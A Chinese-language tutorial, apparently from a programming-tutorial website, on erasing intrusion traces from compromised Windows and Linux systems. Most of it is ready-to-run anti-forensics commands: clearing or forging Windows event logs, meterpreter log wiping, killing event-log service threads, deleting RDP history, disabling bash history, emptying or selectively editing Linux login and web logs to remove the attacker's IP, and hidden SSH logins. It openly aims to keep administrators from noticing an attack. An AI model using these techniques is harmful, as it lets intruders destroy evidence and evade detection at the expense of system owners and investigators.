Linux教程

Windows和Linux入侵痕迹清理

本文主要是介绍Windows和Linux入侵痕迹清理,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

Windows痕迹清理

windows 日志路径:

  1. 安全日志文件:%systemroot%\system32\config\SecEvent.EVT

  2. 系统日志文件:%systemroot%\system32\config\SysEvent.EVT

  3. 应用程序日志文件:%systemroot%\system32\config\AppEvent.EVT

  4. DNS日志默认位置:%sys temroot%\system32\config,默认文件大小512KB

  5. Internet信息服务FTP日志默认位置:%systemroot%\system32\logfiles\msftpsvc1\,默认每天一个日志;

  6. Internet信息服务WWW日志默认位置:%systemroot%\system32\logfiles\w3svc1\,默认每天一个日志;

  7. Scheduler服务日志默认位置:%sys temroot%\schedlgu.txt

windows 日志清除方式:

  1. 最简单粗暴的方式,开始→运行,输入 eventvwr进入事件查看器,右边栏选择清除日志。

  2. 命令行一键清除Windows事件日志:

    (a)PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"
    (b)Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}
    
  3. 利用脚本停止日志的记录

    该脚本遍历事件日志服务进程(专用svchost.exe)的线程堆栈,并标识事件日志线程以杀死事件日志服务线程。因此,系统将无法收集日志,同时事件日志服务似乎正在运行。

    github项目地址:https://github.com/hlldz/Invoke-Phant0m
    
  4. Windows单条日志清除

    该工具主要用于从Windows事件日志中删除指定的记录.

    github项目地址:https://github.com/QAX-A-Team/EventCleaner
    
  5. Windows日志伪造

    使用eventcreate这个命令行工具来伪造日志或者使用自定义的大量垃圾信息覆盖现有日志。

    eventcreate -l system -so administrator -t warning -d "this is a test" -id 500
    

利用Windows自带命令进行安全擦除

  1. Shift+Delete快捷键永久删除

    直接删除文件,还是能在回收站找到的,使用Shift+Delete快捷键可以直接永久删除了。但是用数据恢复软件,删除的文件尽快恢复,否则新的文件存入覆盖了原来的文件痕迹就很难恢复了。

  2. Cipher 命令多次覆写

    在删除文件后,可以利用Cipher 命令通过 /W 参数可反复写入其他数据覆盖已删除文件的硬盘空间,彻底删除数据防止被恢复。比如

    刚刚删除D:\tools目录下的文件,执行cipher /w:D:\tools,D 盘上未使用空间就会被覆盖三次:一次 0x00、一次 0xFF,一次随机数,所有被删除的文件就都不可能被恢复了。

  3. Format命令覆盖格式化

    Format 命令加上 /P 参数后,就会把每个扇区先清零,再用随机数覆盖。而且可以覆盖多次。比如

    format D: /P:8就表示把 D 盘用随机数覆盖 8 次。

  4. 清除远程桌面连接记录

    当通过本机远程连接其他客户端或服务器后,会在本机存留远程桌面连接记录。代码保存为clear.bat文件,双击运行即可自动化清除远程桌面连接记录。

    @echo off
    reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
    reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
    cd %userprofile%\documents\
    attrib Default.rdp -s -h
    del Default.rdp
    

(1)查看事件日志

meterpreter > run event_manager  -i   
[*] Retriving Event Log Configuration

Event Logs on System
====================

 Name                    Retention  Maximum Size  Records
 ----                    ---------  ------------  -------
 Application             Disabled   20971520K     2149
 HardwareEvents          Disabled   20971520K     0
 Internet Explorer       Disabled   K             0
 Key Management Service  Disabled   20971520K     0
 Security                Disabled   20971520K     1726
 System                  Disabled   20971520K     3555
 Windows PowerShell      Disabled   15728640K     138

(2)清除事件日志(包括六种日志类型)

meterpreter > run event_manager  -c

(3)另外,也可以输入clearv命令清除目标系统的事件日志(仅包含三种日志类型)

meterpreter > clearev 
[*] Wiping 4 records from Application...
[*] Wiping 8 records from System...
[*] Wiping 7 records from Security...

IIS日志

IIS默认日志路径:

%SystemDrive%\inetpub\logs\LogFiles\W3SVC1\

清除WWW日志:

停止服务:net stop w3svc
删除日志目录下所有文件:del *.*
启用服务:net start w3svc

linux痕迹清除

清除history历史命令记录

查看历史操作命令:

查看历史操作命令:history
history记录文件:more  ~/.bash_history

第一种方式:

  1. 编辑history记录文件,删除部分不想被保存的历史命令。
    vim ~/.bash_history
    
  2. 清除当前用户的history命令记录
    history -c
    

第二种方式:

  1. 利用vim特性删除历史命令
    #使用vim打开一个文件
    vi test.txt
    # 设置vim不记录命令,Vim会将命令历史记录,保存在viminfo文件中。
    :set history=0
    # 用vim的分屏功能打开命令记录文件.bash_history,编辑文件删除历史操作命令
    vsp ~/.bash_history
    # 清楚保存.bash_history文件即可。
    
  2. 在vim中执行自己不想让别人看到的命令
    :set history=0
    :!command
    

第三种方式:

  1. 通过修改配置文件/etc/profile,使系统不再保存命令记录。
    HISTSIZE=0
    

第四种方式:

  1. 登录后执行下面命令,不记录历史命令(.bash_history)
    unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
    

清除系统日志痕迹

Linux 系统存在多种日志文件,来记录系统运行过程中产生的日志

/var/log/btmp   记录所有登录失败信息,使用lastb命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,使用lastlog命令查看
/var/log/wtmp    记录所有用户的登录、注销信息,使用last命令查看
/var/log/utmp    记录当前已经登录的用户信息,使用w,who,users等命令查看
/var/log/secure   记录与安全相关的日志信息
/var/log/message  记录系统启动后的信息和错误日志

第一种方式:清空日志文件

清除登录系统失败的记录:

[root@centos]# echo > /var/log/btmp 
[root@centos]# lastb           //查询不到登录失败信息

清除登录系统成功的记录:

[root@centos]# echo > /var/log/wtmp  
[root@centos]# last              //查询不到登录成功的信息

清除相关日志信息:

清除用户最后一次登录时间:echo > /var/log/lastlog          #lastlog命令
清除当前登录用户的信息:echo >   /var/log/utmp             #使用w,who,users等命令
清除安全日志记录:cat /dev/null >  /var/log/secure
清除系统日志记录:cat /dev/null >  /var/log/message

第二种方式:删除/替换部分日志

日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。

# 删除所有匹配到字符串的行,比如以当天日期或者自己的登录ip
sed  -i '/自己的ip/'d  /var/log/messages
# 全局替换登录IP地址:
sed -i 's/192.168.166.85/192.168.1.1/g' secure

清除web入侵痕迹

第一种方式: 直接替换日志ip地址

sed -i 's/192.168.166.85/192.168.1.1/g' access.log

第二种方式:清除部分相关日志

# 使用grep -v来把我们的相关信息删除,
cat /var/log/nginx/access.log | grep -v evil.php > tmp.log
# 把修改过的日志覆盖到原日志文件
cat tmp.log > /var/log/nginx/access.log/

文件安全删除工具

  1. shred命令
    实现安全的从硬盘上擦除数据,默认覆盖3次,通过 -n指定数据覆盖次数。

    [root@centos]# shred -f -u -z -v -n 8 1.txt 
    shred: 1.txt: pass 1/9 (random)...
    shred: 1.txt: pass 2/9 (ffffff)...
    shred: 1.txt: pass 3/9 (aaaaaa)...
    shred: 1.txt: pass 4/9 (random)...
    shred: 1.txt: pass 5/9 (000000)...
    shred: 1.txt: pass 6/9 (random)...
    shred: 1.txt: pass 7/9 (555555)...
    shred: 1.txt: pass 8/9 (random)...
    shred: 1.txt: pass 9/9 (000000)...
    shred: 1.txt: removing
    shred: 1.txt: renamed to 00000
    shred: 00000: renamed to 0000
    shred: 0000: renamed to 000
    shred: 000: renamed to 00
    shred: 00: renamed to 0
    shred: 1.txt: removed
    
  2. dd命令
    可用于安全地清除硬盘或者分区的内容。

    dd if=/dev/zero of=要删除的文件 bs=大小 count=写入的次数
    
  3. wipe
    Wipe 使用特殊的模式来重复地写文件,从磁性介质中安全擦除文件。

    wipe filename
    
  4. Secure-Delete

    Secure-Delete 是一组工具集合,提供srm、smem、sfill、sswap,4个安全删除文件的命令行工具。

    srm filename
    sfill filename
    sswap /dev/sda1
    smem
    

隐藏远程SSH登录记录

隐身登录系统,不会被w、who、last等指令检测到。

ssh -T root@192.168.0.1 /bin/bash -i

不记录ssh公钥在本地.ssh目录中

ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i

Apache默认目录以及两种日志

默认目录:

/var/www/html

默认日志文件

apache_access.log 和 error.log
这篇关于Windows和Linux入侵痕迹清理的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!